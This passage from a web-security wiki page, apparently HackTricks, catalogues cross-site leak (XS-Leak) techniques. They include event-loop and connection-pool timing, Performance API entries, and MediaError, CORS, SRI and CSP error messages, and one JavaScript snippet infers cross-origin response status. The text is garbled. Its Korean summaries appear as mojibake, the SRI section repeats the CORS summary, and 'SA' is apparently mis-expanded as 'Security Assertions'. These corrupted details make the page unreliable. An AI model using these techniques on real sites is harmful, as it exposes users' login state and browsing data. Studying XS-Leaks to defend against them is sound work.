  • ์š”์•ฝ: Cross-Origin Read Blocking (CORB)์€ Spectre์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ํฌ๋กœ์Šค-์˜ค๋ฆฌ์ง„ ๋ฏผ๊ฐ ๋ฆฌ์†Œ์Šค์˜ ๋กœ๋“œ๋ฅผ ์ฐจ๋‹จํ•˜๋Š” ๋ณด์•ˆ ์กฐ์น˜์ด๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ณต๊ฒฉ์ž๋Š” ์ด ๋ณดํ˜ธ ๋™์ž‘์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. CORB์˜ ๋Œ€์ƒ์ด ๋˜๋Š” ์‘๋‹ต์ด nosniff๊ฐ€ ์„ค์ •๋œ CORB ๋ณดํ˜ธ๋˜๋Š” Content-Type๊ณผ 2xx ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด, CORB๋Š” ์‘๋‹ต์˜ ๋ฐ”๋””์™€ ํ—ค๋”๋ฅผ ์ œ๊ฑฐํ•œ๋‹ค. ์ด๋ฅผ ๊ด€์ฐฐํ•˜๋Š” ๊ณต๊ฒฉ์ž๋Š” ์„ฑ๊ณต/์˜ค๋ฅ˜๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” status code์™€ CORB๋กœ ๋ณดํ˜ธ๋˜๋Š”์ง€๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” Content-Type์˜ ์กฐํ•ฉ์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์–ด ์ž ์žฌ์ ์ธ ์ •๋ณด ์œ ์ถœ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ:

Check the more information link for more information about the attack.

onblur

Itโ€™s possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.

postMessage Broadcasts

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames, Pop-ups
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: API Usage
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • ์š”์•ฝ: postMessage์—์„œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•˜๊ฑฐ๋‚˜ postMessages์˜ ์กด์žฌ ์ž์ฒด๋ฅผ ์˜ค๋ผํด๋กœ ์‚ฌ์šฉํ•ด ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: Any code listening for all postMessages.

Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the userโ€™s state or identity, such as whether they are authenticated or not.

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames, Pop-ups
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: API Usage
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsinator.com/paper.pdf (5.1)
  • ์š”์•ฝ: ํ•œ ๋ฒˆ์— ํ•˜๋‚˜๋งŒ ํ™œ์„ฑํ™”๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— Payment Request์˜ ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ ๊ฐ์ง€ํ•œ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: https://xsinator.com/testing.html#Payment%20API%20Leak

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

  • ํฌํ•จ ๋ฐฉ๋ฒ•:
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
  • ์š”์•ฝ: ๋‹จ์ผ ์Šค๋ ˆ๋“œ JS event loop๋ฅผ ์•…์šฉํ•ด ์ฝ”๋“œ์˜ ์‹คํ–‰ ์‹œ๊ฐ„์„ ์ธก์ •ํ•œ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ:

Event Loop Blocking + Lazy images

JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.

Warning

In an execution timing itโ€™s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Busy Event Loop

  • ํฌํ•จ ๋ฐฉ๋ฒ•:
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • ์š”์•ฝ: ์›น ์ž‘์—…์˜ ์‹คํ–‰ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ํ•œ ๋ฐฉ๋ฒ•์€ ์Šค๋ ˆ๋“œ์˜ event loop๋ฅผ ์˜๋„์ ์œผ๋กœ ๋ธ”๋กœํ‚นํ•œ ๋‹ค์Œ event loop๊ฐ€ ๋‹ค์‹œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด์ง€๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๊ธด ๊ณ„์‚ฐ์ด๋‚˜ ๋™๊ธฐ API ํ˜ธ์ถœ ๊ฐ™์€ ๋ธ”๋กœํ‚น ์ž‘์—…์„ event loop์— ์‚ฝ์ž…ํ•˜๊ณ  ์ดํ›„ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์‹œ์ž‘ํ•˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•จ์œผ๋กœ์จ, ๋ธ”๋กœํ‚น ๊ธฐ๊ฐ„ ๋™์•ˆ event loop์—์„œ ์‹คํ–‰๋˜๋˜ ์ž‘์—…๋“ค์˜ ๊ธฐ๊ฐ„์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ JavaScript์˜ ๋‹จ์ผ ์Šค๋ ˆ๋“œ ํŠน์„ฑ์„ ํ™œ์šฉํ•˜์—ฌ ๊ฐ™์€ ์Šค๋ ˆ๋“œ๋ฅผ ๊ณต์œ ํ•˜๋Š” ๋‹ค๋ฅธ ์ž‘์—…๋“ค์˜ ๋™์ž‘์ด๋‚˜ ์„ฑ๋Šฅ์— ๋Œ€ํ•œ ํ†ต์ฐฐ์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ:

A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that originโ€™s activities. This method does not rely on direct access to the other originโ€™s data but rather observes the impact of that originโ€™s activities on the shared event loop, thus evading the protective barriers established by Site Isolation.

Warning

In an execution timing itโ€™s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Connection Pool

  • ํฌํ•จ ๋ฐฉ๋ฒ•: JavaScript Requests
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • ์š”์•ฝ: ๊ณต๊ฒฉ์ž๋Š” ๋ชจ๋“  ์†Œ์ผ“์„ 1๊ฐœ๋งŒ ๋‚จ๊ฒจ๋‘๊ณ  ์ž ๊ทธ๊ณ , ๋Œ€์ƒ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋ฉด์„œ ๋™์‹œ์— ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•œ๋‹ค. ๋งˆ์ง€๋ง‰ ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œ๋ฅผ ์‹œ์ž‘ํ•  ๋•Œ๊นŒ์ง€์˜ ์‹œ๊ฐ„์ด ๋Œ€์ƒ ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œ๋˜๋Š” ๋ฐ ๊ฑธ๋ฆฐ ์‹œ๊ฐ„์ด๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ:

Connection Pool Examples

Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:

  1. Ascertain the browserโ€™s socket limit, for instance, 256 global sockets.
  2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
  3. Employ the 256th socket to send a request to the target page.
  4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target pageโ€™s socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • ํฌํ•จ ๋ฐฉ๋ฒ•: JavaScript Requests
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
  • ๋” ๋งŽ์€ ์ •๋ณด:
  • ์š”์•ฝ: ์ด์ „ ๊ธฐ๋ฒ•๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ, Chrome์€ ๋™์ผํ•œ origin์— ๋Œ€ํ•ด 6๊ฐœ์˜ ๋™์‹œ ์š”์ฒญ ์ œํ•œ์„ ๋‘”๋‹ค. 5๊ฐœ๋ฅผ ๋ธ”๋กํ•˜๊ณ  6๋ฒˆ์งธ ์š”์ฒญ์„ ๋„์›Œ ํƒ€์ด๋ฐ์„ ์ธก์ •ํ•˜๋ฉด, victim ํŽ˜์ด์ง€๊ฐ€ ๋™์ผํ•œ ์—”๋“œํฌ์ธํŠธ๋กœ ๋” ๋งŽ์€ ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด 6๋ฒˆ์งธ ์š”์ฒญ์ด ๋” ์˜ค๋ž˜ ๊ฑธ๋ ค ์ด๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค.

Performance API Techniques

The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, itโ€™s worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the pageโ€™s framing policies.

Error Leak

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames, HTML Elements
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Status Code
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsinator.com/paper.pdf (5.2)
  • ์š”์•ฝ: ์—๋Ÿฌ๋ฅผ ์ดˆ๋ž˜ํ•œ ์š”์ฒญ์€ resource timing entry๋ฅผ ์ƒ์„ฑํ•˜์ง€ ์•Š๋Š”๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

  • ํฌํ•จ ๋ฐฉ๋ฒ•: HTML Elements
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Status Code
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsinator.com/paper.pdf (5.2)
  • ์š”์•ฝ: ๋ธŒ๋ผ์šฐ์ € ๋ฒ„๊ทธ๋กœ ์ธํ•ด ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ ๋ฆฌ์†Œ์Šค๋Š” ๋‘ ๋ฒˆ ๋กœ๋“œ๋œ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Page Content
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsinator.com/paper.pdf (5.2)
  • ์š”์•ฝ: XSS Auditor๋ฅผ Security Assertions์—์„œ ์ด์šฉํ•˜๋ฉด, crafted payload๊ฐ€ auditor์˜ ํ•„ํ„ฐ๋ง ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์œ ๋ฐœํ•  ๋•Œ ์‘๋‹ต์˜ ๋ณ€ํ™”๋ฅผ ๊ด€์ฐฐํ•˜์—ฌ ํŠน์ • ์›นํŽ˜์ด์ง€ ์š”์†Œ๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), itโ€™s still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.

Download Detection

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Header
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsinator.com/paper.pdf (5.2)
  • ์š”์•ฝ: ContentDisposition ํ—ค๋”๋กœ ์ธํ•ด ๋ฆฌ์†Œ์Šค๊ฐ€ ๋‹ค์šด๋กœ๋“œ๋˜๋Š” ๊ฒฝ์šฐ์—๋„ Performance API์— resource timing entry๊ฐ€ ์ƒ์„ฑ๋˜์ง€ ์•Š๋Š”๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Redirect
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsinator.com/paper.pdf (5.2)
  • ์š”์•ฝ: Resource timing entry๊ฐ€ ๋ฆฌ๋””๋ ‰์…˜์˜ ์‹œ์ž‘ ์‹œ๊ฐ„์„ ์œ ์ถœํ•œ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: https://xsinator.com/testing.html#Redirect%20Start%20Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Fetch API
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Redirect
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsinator.com/paper.pdf (5.2)
  • ์š”์•ฝ: ๋ฆฌ๋””๋ ‰์…˜์ด ๋ฐœ์ƒํ•˜๋ฉด timing entry์˜ duration์ด ์Œ์ˆ˜๊ฐ€ ๋˜์–ด ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ: https://xsinator.com/testing.html#Duration%20Redirect%20Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API itโ€™s possible to check if a resource is cached.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

MediaError ์ธํ„ฐํŽ˜์ด์Šค์˜ message ์†์„ฑ์€ ์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๋“œ๋œ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณ ์œ ํ•œ ๋ฌธ์ž์—ด๋กœ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด ๋ฉ”์‹œ์ง€ ๋‚ด์šฉ์„ ๊ด€์ฐฐํ•˜์—ฌ cross-origin ๋ฆฌ์†Œ์Šค์˜ ์‘๋‹ต ์ƒํƒœ๋ฅผ ์œ ์ถ”ํ•จ์œผ๋กœ์จ ์ด ๊ธฐ๋Šฅ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CORS Error

  • Inclusion Methods: Fetch API
  • Detectable Difference: Header
  • More info: https://xsinator.com/paper.pdf (5.3)
  • Summary: Security Assertions (SA)์—์„œ CORS error ๋ฉ”์‹œ์ง€๋Š” ์˜๋„์น˜ ์•Š๊ฒŒ ๋ฆฌ๋””๋ ‰์…˜๋œ ์š”์ฒญ์˜ ์ „์ฒด URL์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak

์ด ๊ธฐ๋ฒ•์€ Webkit ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ CORS ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์„ ์•…์šฉํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ cross-origin ์‚ฌ์ดํŠธ์˜ ๋ฆฌ๋””๋ ‰์…˜ ๋ชฉ์ ์ง€๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ์— ๋”ฐ๋ผ ๋ฆฌ๋””๋ ‰์…˜์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋Œ€์ƒ ์‚ฌ์ดํŠธ์— ๋Œ€ํ•ด CORS-enabled ์š”์ฒญ์„ ๋ณด๋‚ธ ํ›„ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ•ด๋‹น ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•˜๋ฉด, ๋ฆฌ๋””๋ ‰์…˜ ๋Œ€์ƒ์˜ ์ „์ฒด URL์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ๋ฆฌ๋””๋ ‰์…˜์˜ ์กด์žฌ๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋ฆฌ๋””๋ ‰์…˜์˜ ์—”๋“œํฌ์ธํŠธ์™€ ๊ทธ์— ํฌํ•จ๋œ ๋ฏผ๊ฐํ•œ ์ฟผ๋ฆฌ ๋งค๊ฐœ๋ณ€์ˆ˜๊นŒ์ง€ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

SRI Error

  • Inclusion Methods: Fetch API
  • Detectable Difference: Header
  • More info: https://xsinator.com/paper.pdf (5.3)
  • Summary: Security Assertions (SA)์—์„œ CORS error ๋ฉ”์‹œ์ง€๋Š” ์˜๋„์น˜ ์•Š๊ฒŒ ๋ฆฌ๋””๋ ‰์…˜๋œ ์š”์ฒญ์˜ ์ „์ฒด URL์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak

๊ณต๊ฒฉ์ž๋Š” verbose error messages๋ฅผ ์ด์šฉํ•ด cross-origin ์‘๋‹ต์˜ ํฌ๊ธฐ๋ฅผ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Subresource Integrity (SRI)์˜ ์ž‘๋™ ๋ฐฉ์‹ ๋•Œ๋ฌธ์ธ๋ฐ, SRI๋Š” integrity ์†์„ฑ์„ ์‚ฌ์šฉํ•ด CDN ๋“ฑ์—์„œ ๊ฐ€์ ธ์˜จ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋ณ€์กฐ๋˜์ง€ ์•Š์•˜๋Š”์ง€ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค. SRI๊ฐ€ cross-origin ๋ฆฌ์†Œ์Šค์—์„œ ์ž‘๋™ํ•˜๋ ค๋ฉด ํ•ด๋‹น ๋ฆฌ์†Œ์Šค๊ฐ€ CORS-enabled์ด์–ด์•ผ ํ•˜๊ณ , ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. Security Assertions (SA)์—์„œ CORS error XS-Leak๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, integrity ์†์„ฑ์ด ์žˆ๋Š” fetch ์š”์ฒญ์ด ์‹คํŒจํ•˜๋ฉด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์˜๋„์ ์œผ๋กœ ์š”์ฒญ์˜ integrity ์†์„ฑ์— ์ž˜๋ชป๋œ ํ•ด์‹œ ๊ฐ’์„ ํ• ๋‹นํ•ด ์ด ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. SA์—์„œ๋Š” ๊ฒฐ๊ณผ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ์š”์ฒญ๋œ ๋ฆฌ์†Œ์Šค์˜ ์ฝ˜ํ…์ธ  ๊ธธ์ด๋ฅผ ์šฐ๋ฐœ์ ์œผ๋กœ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. ์ด ์ •๋ณด ์œ ์ถœ์€ ์‘๋‹ต ํฌ๊ธฐ์˜ ์ฐจ์ด๋ฅผ ์‹๋ณ„ํ•˜๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ์ •๊ตํ•œ XS-Leak ๊ณต๊ฒฉ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CSP Violation/Detection

XS-Leak์€ CSP๋ฅผ ์ด์šฉํ•ด cross-origin ์‚ฌ์ดํŠธ๊ฐ€ ๋‹ค๋ฅธ origin์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜๋˜์—ˆ๋Š”์ง€๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ˆ„์ถœ์€ ๋ฆฌ๋””๋ ‰์…˜์„ ๊ฐ์ง€ํ•  ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋ฆฌ๋””๋ ‰์…˜ ๋Œ€์ƒ์˜ ๋„๋ฉ”์ธ๋„ ๋ˆ„์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ ์•„์ด๋””์–ด๋Š” ๋Œ€์ƒ ๋„๋ฉ”์ธ์„ ๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ์—์„œ ํ—ˆ์šฉํ•ด ๋‘๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋Œ€์ƒ ๋„๋ฉ”์ธ์— ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด cross-origin ๋„๋ฉ”์ธ์œผ๋กœ redirect๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ , CSP๊ฐ€ ์ด๋ฅผ ์ฐจ๋‹จํ•˜์—ฌ violation report๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €์— ๋”ฐ๋ผ ์ด ๋ฆฌํฌํŠธ๋Š” ๋ฆฌ๋””๋ ‰์…˜์˜ ๋Œ€์ƒ ์œ„์น˜๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €๋Š” ๋ฆฌ๋””๋ ‰์…˜๋œ URL์„ ํ‘œ์‹œํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์ง€๋งŒ, cross-origin ๋ฆฌ๋””๋ ‰์…˜์ด ๋ฐœ์ƒํ–ˆ์Œ์„ ์—ฌ์ „ํžˆ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Cache

